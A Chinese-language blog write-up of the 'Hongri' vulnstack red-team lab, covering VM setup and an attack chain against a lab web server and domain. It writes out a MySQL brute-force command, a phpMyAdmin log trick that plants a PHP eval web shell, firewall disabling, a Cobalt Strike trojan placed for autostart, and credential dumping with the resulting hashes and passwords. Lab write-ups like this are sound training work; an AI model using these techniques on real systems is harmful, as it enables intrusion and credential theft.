Trtyr's Blog

红日靶场(一)

字数统计: 1.5k阅读时长: 6 min
2024/01/24

ATT&CK实战系列——红队实战(一)打靶

环境设置

下载文件,得到三台VMware虚拟机:

  • vulnstack-win7
  • vulnstack-winserver08
  • vulnstack-Win2K3 Metasploitable

按照web页面提示,得到密码为hongrisec@2019。下面有一张环境的图片

成分有:

  • web服务器
  • 域成员
  • 域控

那就注意一下web服务器作为边缘机器需要配两个网卡。域内应该不用格外配IP,大概是给配好了。存在防火墙,域内注意别把防火墙关了。

VMware扫描虚拟机开始安装。初步看了一下,虚拟机设置全是单网卡的NAT模式。随便打开一个机器。这里打开了Win2K3 Metasploitable。输入密码,进入系统。他会让你重启,不用管他。查看一下IP。

设置的是192.168.52.0/24网段。DNS服务器是192.168.52.138Win2K3 Metasploitable是域成员。

配置它的网络,创建一个新的VMnet

还要设置一下DHCP,设置好了之后给机器配上就行了。

再看看Windows 7 x64。打开后查看网络。发现BUG

解决:

1
2
3
4
5
6
7
taskkill /f /im explorer.exe

reg delete "HKCR\Local Settings\Software\Microsoft\Windows\CurrentVersion\TrayNotify" /v "IconStreams" /f
reg delete "HKCR\Local Settings\Software\Microsoft\Windows\CurrentVersion\TrayNotify" /v "PastIconsStream" /f
reg delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist" /f

start "" explorer

解决。看看网络,只有一个网卡,IP信息如下

确认win7是web服务器。在C:\phpStudy下发现phpstudy.exe。先不着急打开,网络配好了再说。它少一个网卡,给他一个NAT网卡。然后再把刚才建的VMnet10配给他。

不过win7这里网卡顺序要注意。我们在没修改的情况下,是只有一个NAT模式网卡,而且这个网卡下的IP状态是静态IP。那么我们配网络的时候应该是将原先的NAT变成VMnet10,然后再配一个NAT网卡。

完事儿。接下来就剩下一个Windows Server 2008 R2 x64了,那这个就是域控了。直接配好VMnet10打开就行了。不过他需要我们修改密码。我修改成了hongrisec@2024

整环境如下:

  • 攻击机:kali,192.168.105.130
  • web服务器:win7,192.168.105.144/192.168.105.144
  • 域成员:win2003,192.168.52.141
  • 域控:win2008,192.168.52.138

打开win7的web服务,开打。

渗透过程

主机发现

现在我们知道web的IP为192.168.105.144。

先ping一下

1
2
3
4
5
6
┌──(kali㉿kali)-[~]
└─$ ping 192.168.105.144
PING 192.168.105.144 (192.168.105.144) 56(84) bytes of data.
^C
--- 192.168.105.144 ping statistics ---
4 packets transmitted, 0 received, 100% packet loss, time 3059ms

无法ping通。说明我们得到了真实IP,不是一个CDN,且对方开启了防火墙。

使用nmap进行“不进行主机发现”的探测

1
sudo nmap -sTVC -Pn 192.168.105.144

存在一个80端口和一个3306端口。简单试试对MySQL服务进行爆破。

1
sudo hydra 192.168.105.144 mysql -L /usr/share/seclists/Usernames/xato-net-10-million-usernames -P /usr/share/seclists/Passwords/xato-net-10-million-passwords -vV

意外的事情发生了,我的SQL服务坏了……。就先这样。现在只能看80端口了。

Web渗透

MySQL账号密码爆破

80端口有一个数据库的连接测试。抓包跑一下字典。得到root/root

目录扫描

1
sudo dirsearch -u http://192.168.105.144/ -i 200

得到

1
2
3
4
5
6
7
8
9
[18:22:49] 200 -   71KB - /phpinfo.php
[18:22:50] 200 - 32KB - /phpmyadmin/ChangeLog
[18:22:50] 200 - 4KB - /phpMyadmin/
[18:22:50] 200 - 4KB - /phpMyAdmin/
[18:22:50] 200 - 4KB - /phpmyAdmin/
[18:22:50] 200 - 4KB - /phpmyadmin/
[18:22:50] 200 - 4KB - /phpMyAdmin/index.php
[18:22:50] 200 - 4KB - /phpmyadmin/index.php
[18:22:51] 200 - 2KB - /phpmyadmin/README

访问phpMyadmin后台,账号密码为root/root

phpMyadmin日志写Shell

已经进入了后台,尝试写入日志来写入Shell

1
SHOW VARIABLES LIKE 'general%';

使用命令set global general_log = "ON";general_log开启。修改日志路径为.php且可访问。那就需要我们知道网站的路径结构。在探针那里可以看。

修改general_log_fileC:/phpStudy/WWW/log.php

1
set global general_log_file='C:/phpStudy/WWW/log.php';

使用select向日志插入shell

1
select '<?php @eval($_POST["cmd"]);?>'

尝试连接shell

数据库其他信息查看

库里有一个newyxcms,似乎是一个cms的数据库。访问一下

1
2
3
/newyxcms # fail
/newyx # fail
/yxcms # get

得到新的页面。

CMS后台登录

在左面的公告得到后台路径,默认账号密码为admin/123456

1
/index.php?r=admin

CMS主题模板写Shell

发现可以编辑模板

index_index.php里写shell

保存,尝试连接shell

跳板机

主机用户查看

连接shell,查看当前主机存在的用户

1
2
3
4
5
6
7
8
9
C:\phpStudy\WWW\yxcms> net user

\\STU1 的用户帐户

-------------------------------------------------------------------------------

Administrator            Guest                    liukaifeng01             

命令成功完成。

当前主机名STU1,存在两个有效用户Administratorliukaifeng01

当前用户查看

查看当前的用户

1
2
3
C:\phpStudy\WWW\yxcms> whoami

god\administrator

目前是administrator,存在一个god域。那么我们这里可以选择创建一个用户来进行后期的控制,或者以administrator用户上传木马,这里选择直接上传木马。

关防火墙

首先关闭防火墙

1
netsh advfirewall set  allprofiles state off  // 关闭所有防火墙

上传木马

上传CS木马到自启动文件夹。

1
C:\Users\用户名\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup

运行木马,看看能不能上线

成功。

内网渗透

信息收集

跳板机IP信息

查看当前主机IP信息

1
shell ipconfig /all

得到信息有:

  • 主机名:stu1
  • 域:god.org
  • 外部IP:192.168.105.144
  • 内部IP:192.168.52.143
  • 域控:192.168.52.138

域内主机

查看域内主机列表

1
net view

得到域内主机:

1
2
3
4
5
Server Name             IP Address                       Platform  Version  Type   Comment
----------- ---------- -------- ------- ---- -------
OWA 192.168.52.138 500 6.1 PDC
ROOT-TVI862UBEH 192.168.52.141 500 5.2
STU1 192.168.52.143 500 6.1

跳板机Hash凭证

1
hashdump

得到

1
2
3
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
liukaifeng01:1000:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

不是明文的,可以使用命令来获取一下明文密码

1
logonpasswords

得到

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
msv :	
[00000003] Primary
* Username : Administrator
* Domain : GOD
* LM : edea194d76c77d878c22316a446cdfe3
* NTLM : e25bbe456dd96a635f4434511788e502
* SHA1 : 7c0adc287a4b0faa8914fd780252dfe9bcee7d5b
tspkg :
* Username : Administrator
* Domain : GOD
* Password : hongrisec@2024
wdigest :
* Username : Administrator
* Domain : GOD
* Password : hongrisec@2024
kerberos :
* Username : Administrator
* Domain : GOD.ORG
* Password : hongrisec@2024
ssp :
credman :

获取到密码。

SMB横向移动

既然已经拿到了Administrator的权限了,可以直接尝试使用SMB横向。

创建一个SMB的监听器

开始移动

CATALOG
  1. 1. 环境设置
  2. 2. 渗透过程
    1. 2.1. 主机发现
    2. 2.2. Web渗透
      1. 2.2.1. MySQL账号密码爆破
      2. 2.2.2. 目录扫描
      3. 2.2.3. phpMyadmin日志写Shell
      4. 2.2.4. 数据库其他信息查看
      5. 2.2.5. CMS后台登录
      6. 2.2.6. CMS主题模板写Shell
    3. 2.3. 跳板机
      1. 2.3.1. 主机用户查看
      2. 2.3.2. 当前用户查看
      3. 2.3.3. 关防火墙
      4. 2.3.4. 上传木马
    4. 2.4. 内网渗透
      1. 2.4.1. 信息收集
        1. 2.4.1.1. 跳板机IP信息
        2. 2.4.1.2. 域内主机
        3. 2.4.1.3. 跳板机Hash凭证
      2. 2.4.2. SMB横向移动